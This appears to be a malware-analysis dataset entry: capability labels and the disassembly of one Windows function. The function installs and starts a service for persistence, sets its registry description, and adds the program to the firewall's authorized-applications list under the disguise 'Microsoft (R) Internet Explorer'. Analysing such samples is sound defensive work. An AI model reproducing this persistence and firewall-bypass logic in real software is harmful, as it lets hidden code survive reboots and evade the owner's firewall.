Function at 0x40bc70
Capabilities:
Create service
Persist via windows service
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40d1b8
push 0x40bf60
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x324
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x120], ebx
mov dword [ebp - 0x128], ebx
mov dword [ebp - 0x124], ebx
mov dword [ebp - 4], ebx
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
mov dword [ebp - 0x124], esi
cmp esi, ebx
je 0x40bdd8
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x40f128
push ebx
push 2
push 0x10
push 0xf01ff
mov eax, dword [ebp + 0xc]
push eax
mov edi, dword [ebp + 8]
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov ebx, eax
mov dword [ebp - 0x128], ebx
test ebx, ebx
jne 0x40bd2e
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x431
jne 0x40bd2e
push 0xf01ff
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, eax
mov dword [ebp - 0x128], ebx
test ebx, ebx
je 0x40bdd8
push 0
push 0
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push 0
push 0
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x40bdd8
lea edx, [ebp - 0x11c]
mov edi, str.SYSTEMCurrentControlSetServices_
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edx, [ebp - 0x11c]
mov edi, dword [ebp + 8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x120]
push eax
lea ecx, [ebp - 0x11c]
push ecx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov esi, dword [ebp + 0x10]
push esi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push eax
push esi
push 1
push 0
push str.Description
mov edx, dword [ebp - 0x120]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, dword [ebp - 0x124]
mov dword [ebp - 4], 0xffffffff
call fcn.0040bead
mov ecx, 0x41
xor eax, eax
lea edi, [ebp - 0x230]
rep stosd dword es:[edi], eax
lea edx, [ebp - 0x230]
mov edi, str.SYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyStandardProfileAuthorizedApplicationsList
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x12c]
push ecx
push 0xf003f
push 0
lea edx, [ebp - 0x230]
push edx
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40be90
push 0x40f128
push str._s::Enabled:Microsoft__R__Internetal_IExplore
lea eax, [ebp - 0x334]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edi, [ebp - 0x334]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
lea ecx, [ebp - 0x334]
push ecx
push 1
push eax
push 0x40f128
mov edx, dword [ebp - 0x12c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 0x12c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret